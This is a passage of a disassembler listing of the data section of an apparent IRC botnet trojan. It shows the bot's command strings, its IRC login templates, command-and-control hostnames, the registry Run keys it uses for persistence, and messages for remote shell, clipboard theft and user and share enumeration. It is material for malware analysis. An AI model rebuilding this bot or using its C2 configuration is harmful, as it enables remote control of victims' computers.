DATA XREF: _2:00429EE8o align 4 aStarted db 'Started',0 ; DATA XREF: _2:00429EE0o aStart_0 db 'Start',0 ; DATA XREF: _2:00429EDCo align 4 aListed db 'Listed',0 ; DATA XREF: _2:00429ED4o align 4 aList_0 db 'List',0 ; DATA XREF: _2:00429ED0o align 4 aDeleted db 'Deleted',0 ; DATA XREF: _2:00429EC8o aDelete_0 db 'Delete',0 ; DATA XREF: _2:00429EC4o align 4 aAdded db 'Added',0 ; DATA XREF: _2:off_429EBCo align 4 aAdd db 'Add',0 ; DATA XREF: _2:off_429EB8o dword_429F80 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BB87+67o dd 2BBBB02h aSNoServiceSpec db ' %s: No service specified.',0 dword_429FB4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BB87+51o dd 2BBBB02h aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0 align 4 dword_429FEC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BB87+33o dd 2BBBB02h aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40BCA3+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_40BCA3:loc_40BDBBo align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_40BCA3:loc_40BDB4o align 10h aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_40BCA3:loc_40BDADo db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_40BCA3:loc_40BDA6o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_40BCA3:loc_40BD9Fo db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_40BCA3:loc_40BD98o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_40BCA3:loc_40BD91o align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_40BCA3:loc_40BD8Ao align 10h aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_40BCA3:loc_40BD83o db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_40BCA3:loc_40BD7Co align 10h aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_40BCA3:loc_40BD51o align 10h aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_40BCA3:loc_40BD4Ao db ' the service.',0 align 10h aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_40BCA3:loc_40BD43o db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_40BCA3:loc_40BD3Co align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_40BCA3+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_40BCA3:loc_40BD11o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_40BCA3:loc_40BD07o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_40BCA3:loc_40BCFDo aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_40BCA3:loc_40BCF3o align 10h aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_40BCA3:loc_40BCE9o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_40BCA3+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_40BE21+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_40BE21:loc_40BEEDo aStarting db ' Starting',0 ; DATA XREF: sub_40BE21:loc_40BEE6o aStoping db ' Stoping',0 ; DATA XREF: sub_40BE21:loc_40BEDFo aRunning db ' Running',0 ; DATA XREF: sub_40BE21:loc_40BED8o aContinuing db ' Continuing',0 ; DATA XREF: sub_40BE21:loc_40BED1o aPausing db ' Pausing',0 ; DATA XREF: sub_40BE21:loc_40BECAo aPaused_0 db ' Paused',0 ; DATA XREF: sub_40BE21:loc_40BEC3o aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_40BE21+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40BE21+25o align 10h dword_42A550 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BF5E+ACo dd 2BBBB02h aSNoShareSpecif db ' %s: No share specified.',0 align 4 dword_42A584 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BF5E+8Ao dd 2BBBB02h aSShareS_ db ' %s share: ',27h,'%s',27h,'.',0 align 10h dword_42A5B0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40BF5E+58o dd 2BBBB02h aSErrorWithShar db ' %s: Error with share: ',27h,'%s',27h,'. %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40C154+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_40C154+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_40C154+B5o dword_42A60C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C154+76o dd 2BBBB02h aShareListError db ' Share list error: %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40C154+26o align 4 dword_42A67C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C275+B7o dd 2BBBB02h aSNoUsernameSpe db ' %s: No username specified.',0 align 4 dword_42A6B4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C275+95o dd 2BBBB02h aSErrorWithUser db ' %s: Error with username: ',27h,'%s',27h,'. %s',0 dword_42A6F0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C275+6Do dd 2BBBB02h aSUsernameS_ db ' %s username: ',27h,'%s',27h,'.',0 align 10h dword_42A720 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C3BC+3AFo dd 2BBBB02h aUserInfoErrorL db ' User info error: <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40C3BC+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40C3BC+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40C3BC+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40C3BC+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40C3BC+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40C3BC+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40C3BC+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40C3BC+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40C3BC+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40C3BC+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40C3BC+1D7o align 10h aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40C3BC+1ACo align 10h aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40C3BC+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40C3BC+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40C3BC+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_40C3BC:loc_40C4DBo align 10h aUser_1 db 'User',0 ; DATA XREF: sub_40C3BC:loc_40C4D4o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_40C3BC:loc_40C4CDo align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40C3BC+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40C3BC+AFo align 4 aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40C3BC+84o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_40C3BC+50o aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40C7A5+14Fo align 4 dword_42A8EC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C7A5+F7o dd 2BBBB02h aAnAccessViolat db ' An access violation has occured.',0 align 4 aS_5 db ' %S',0 ; DATA XREF: sub_40C7A5+BEo align 10h dword_42A930 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C7A5+7Ao dd 2BBBB02h aUserListErrorS db ' User list error: %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40C7A5+29o aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_40C925:loc_40CA42o align 4 aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_40C925:loc_40CA3Bo align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_40C925:loc_40CA34o align 10h aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_40C925:loc_40CA2Do align 10h aAnUnknownError db 'An unknown error occurred.',0 ; DATA XREF: sub_40C925:loc_40CA26o align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_40C925:loc_40CA09o db 'ord policy requirement.)',0 align 4 aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_40C925:loc_40CA02o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_40C925:loc_40C9FBo align 4 aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_40C925+CFo db ' the domain.',0 align 4 aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_40C925:loc_40C9D0o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40C925:loc_40C9C9o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_40C925:loc_40C9C2o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40C925:loc_40C9B8o align 10h aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_40C925+89o align 4 aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40C925:loc_40C992o align 10h aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40C925:loc_40C988o align 10h aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_40C925:loc_40C97Eo align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_40C925:loc_40C974o align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_40C925:loc_40C96Ao align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40C925+3Bo align 4 dword_42AC48 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40CA59+ABo dd 2BBBB02h aSServerSMessag db ' %s <Server: %S> <Message: %S>',0 dword_42AC80 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40CA59+81o dd 2BBBB02h aMessageSentSuc db ' Message sent successfully.',0 align 4 dword_42ACB8 dd 1B58h ; DATA XREF: sub_40CB17+3A3r ; sub_40CB17+456r dword_42ACBC dd 0C8Bh ; DATA XREF: sub_40CB17+4A2r dword_42ACC0 dd 30EAh ; DATA XREF: sub_40D2E0:loc_413078r dword_42ACC4 dd 18F4h ; DATA XREF: sub_405898+3Br ; sub_40D2E0+52E6r dword_42ACC8 dd 1BB0h ; DATA XREF: sub_405898:loc_405B47r ; sub_40D2E0:loc_4126BBr dword_42ACCC dd 0A84h ; DATA XREF: sub_40D2E0:loc_412831r dword_42ACD0 dd 1 ; DATA XREF: sub_40D2E0+665r dword_42ACD4 dd 1 ; DATA XREF: sub_40CB17+13Dr dword_42ACD8 dd 1 ; DATA XREF: sub_409288+Cr ; sub_40CB17:loc_40CE46r byte_42ACDC db 2Eh ; DATA XREF: sub_40B5F7:loc_40B603r ; sub_40D2E0+B05r ... align 10h dword_42ACE0 dd 6 ; DATA XREF: sub_413E04+2Br ; sub_413E04+51r ... dword_42ACE4 dd 4 ; DATA XREF: sub_40D000+78r ; sub_40D2E0+279r ... a8652 db '8652',0 align 10h aCool_0 db 'cool',0 align 4 aMan db 'man',0 align 10h aAsn139_0 db 'asn139',0 align 4 db 2 dup(0) byte_42AD0A db 1 ; DATA XREF: sub_40D2E0:loc_4121B2r ; sub_40D2E0+4EDCo aAsn445_0 db 'asn445',0 align 4 dd 100h, 3 dup(0) aBotid db 'botid',0 ; DATA XREF: sub_40CB17+5Ao ; sub_40D2E0+3E40o ... align 4 aAbosal7Tool db 'ABOSAL7 tool',0 ; DATA XREF: sub_40D2E0:loc_413290o align 4 aCool db 'cool',0 ; DATA XREF: sub_40D2E0+6129o ; sub_40D2E0+61F8o align 4 aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_40CB17+38Eo ; sub_40CB17+447o align 4 aFaak db '#faak#',0 ; DATA XREF: sub_40CB17+3AFo ; sub_40CB17+45Do align 10h aSaad_ db 'saad.',0 ; DATA XREF: sub_40CB17+3C6o ; sub_40CB17+46Fo align 4 byte_42AD68 db 73h ; DATA XREF: sub_40CB17:loc_40CF9Cr ; sub_40CB17+493o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#faak#',0 ; DATA XREF: sub_40CB17+4A9o align 4 aSaad__0 db 'saad.',0 ; DATA XREF: sub_40CB17+4BBo align 4 byte_42AD8C db 67h ; DATA XREF: sub_40345C+3Eo ; sub_405898+68o ... db 63h, 6Ah, 66h dd 6F726A62h, 78652E61h, 65h dword_42AD9C dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do aSystam13 db 'Systam13',0 ; DATA XREF: sub_40A7C2+Eo align 4 aBot db '[bot]-',0 ; DATA XREF: sub_413E04+12o align 4 aFirstswin_exe db 'firstswin.exe',0 align 4 aXi db '+xi',0 ; DATA XREF: sub_40D2E0+6274o aF_0 db '#f',0 ; DATA XREF: sub_40D2E0:loc_41055Do ; sub_40D2E0+509Co align 4 aF_1 db '#f',0 ; DATA XREF: sub_40D2E0+1F2Fo align 4 aF_2 db '#f',0 ; DATA XREF: sub_40D2E0+1D75o align 4 off_42ADDC dd offset dword_42AE9C ; DATA XREF: sub_40D2E0:loc_41345Co off_42ADE0 dd offset dword_42AE90 ; DATA XREF: sub_40D2E0+8CFr ; sub_40D2E0+6198o aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_4143F6+28o ; sub_41471A+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_4143F6+D4o ; sub_41471A+D4o align 4 dword_42AE8C dd 10h ; DATA XREF: sub_40A4BB+72w ; sub_40D2E0+B6Er ... dword_42AE90 dd 6B633468h, 74207265h, 6C6F6Fh ; DATA XREF: _2:off_42ADE0o dword_42AE9C dd 6461402Ah, 2E6E696Dh, 6D6F63h ; DATA XREF: _2:off_42ADDCo dword_42AEA8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40CB17+352o dd 2BBBB02h, 6F422020h, 74732074h, 65747261h, 2E64h dword_42AED0 dd 25207325h, 25222064h, 2273h ; DATA XREF: sub_40CB17+280o dword_42AEDC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D000+F2o dd 2BBBB02h aConnectedToS_ db ' Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40D168+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40D168+35o align 10h aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+627Co align 10h aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+6264o align 10h dword_42AF50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+6257o dd 2BBBB02h aUserSLoggedIn_ db ' User: %s logged in.',0 align 10h dword_42AF80 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+623Ao dd 2BBBB02h aAbosal7Accepte db ' ABOSAL7 accepted.',0 dword_42AFAC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+61D9o dd 2BBBB02h aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0 align 4 dword_42AFE8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+6172o dd 2BBBB02h aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+6160o ; sub_40D2E0+61C7o align 4 aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+6149o ; sub_40D2E0+61B0o align 10h asc_42B070: ; DATA XREF: sub_40D2E0+6119o unicode 0, <~>,0 dword_42B074 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+60C9o dd 2BBBB02h aRandomNickChan db ' Random nick change: %s',0 align 4 dword_42B0A8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+6015o dd 2BBBB02h aInvalidLoginSl db ' Invalid login slot number: %d.',0 align 4 dword_42B0E4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+600Ao dd 2BBBB02h aNoUserLoggedIn db ' No user logged in at slot: %d.',0 align 10h dword_42B120 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5FB5o dd 2BBBB02h, 73252020h, 0 unk_42B140 db 2 ; DATA XREF: sub_40D2E0+5F8Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 65h, 63h db 75h ; u db 72h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aFailedToStar_6 db ' Failed to start secure thread, error: <%d>.',0 align 4 dword_42B18C dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h ; DATA XREF: sub_40D2E0+5F15o dd 2202967h, 2002BBBBh, 20732520h, 74737973h, 2E6D65h aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_40D2E0+5F0Fo align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_40D2E0+5F08o align 4 aSec db 'sec',0 ; DATA XREF: sub_40D2E0+5EADo aSecure db 'secure',0 ; DATA XREF: sub_40D2E0+5E9Co align 4 unk_42B1D8 db 2 ; DATA XREF: sub_40D2E0+5E91o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Fh, 63h db 6Bh ; k db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 dword_42B220 dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Eh ; DATA XREF: sub_40D2E0+5D6Fo dword_42B230 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_40D2E0+5D6Ao dword_42B23C dd 72027002h, 1F631F6Fh, 2E2Eh ; DATA XREF: sub_40D2E0+5D57o dword_42B248 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_40D2E0+5D52o dword_42B258 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5D1Fo dd 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h, 2E676Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0:loc_412FF2o align 4 dword_42B298 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5CFDo dd 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh, 2E676E69h dd 0 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0:loc_412FD0o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40D2E0+5CC8o align 4 dword_42B2E8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5C76o dd 2BBBB02h aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0 align 4 dword_42B324 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5C62o dd 2BBBB02h, 6F422020h, 44492074h, 7325203Ah, 2Eh dword_42B34C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40D2E0+5C3Do dd 2029671Fh, 2BBBB02h aFailedToStartL db ' Failed to start list thread, error: <%d>.',0 dword_42B394 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40D2E0+5BD2o dd 2029671Fh, 2BBBB02h, 694C2020h, 74207473h, 61657268h dd 2E7364h dword_42B3C0 dd 627573h ; DATA XREF: sub_40D2E0+5BACo dword_42B3C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5B5Do dd 2BBBB02h, 6C412020h, 20736169h, 7473696Ch, 2Eh dword_42B3EC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5B42o dd 2BBBB02h aFailedToStar_8 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42B434 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5AD3o dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_42B45C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5A36o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_42B484 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5A04o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_42B4AC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+59AFo dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_42B4D4 db 2 ; DATA XREF: sub_40D2E0+599Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aFailedToStar_9 db 'Failed to start listing thread, error: <%d>.',0 align 4 dword_42B524 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40D2E0+592Do dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40D2E0+590Do align 4 unk_42B55C db 2 ; DATA XREF: sub_40D2E0+58B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 10h unk_42B590 db 2 ; DATA XREF: sub_40D2E0+5893o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 10h dword_42B5C0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+584Ao dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_42B5E8 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0:loc_412A67o dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_42B618 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5780o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 10h dword_42B650 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5764o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_42B688 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40D2E0+5746o dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40D2E0+5718o align 4 unk_42B6C8 db 2 ; DATA XREF: sub_40D2E0:loc_4129E8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_42B704 db 2 ; DATA XREF: sub_40D2E0+56EDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_42B738 db 2 ; DATA XREF: sub_40D2E0:loc_4129BDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_42B774 db 2 ; DATA XREF: sub_40D2E0:loc_4129B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 10h unk_42B7B0 db 2 ; DATA XREF: sub_40D2E0+56CFo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 dword_42B7E4 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40D2E0+565Fo dd 2029671Fh, 2BBBB02h aFailedToSta_10 db ' Failed to start server thread, error: <%d>.',0 align 10h dword_42B830 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40D2E0+55F4o dd 2029671Fh, 2BBBB02h aServerListen_0 db ' Server listening on IP: %s:%d, Username: %s.',0 align 4 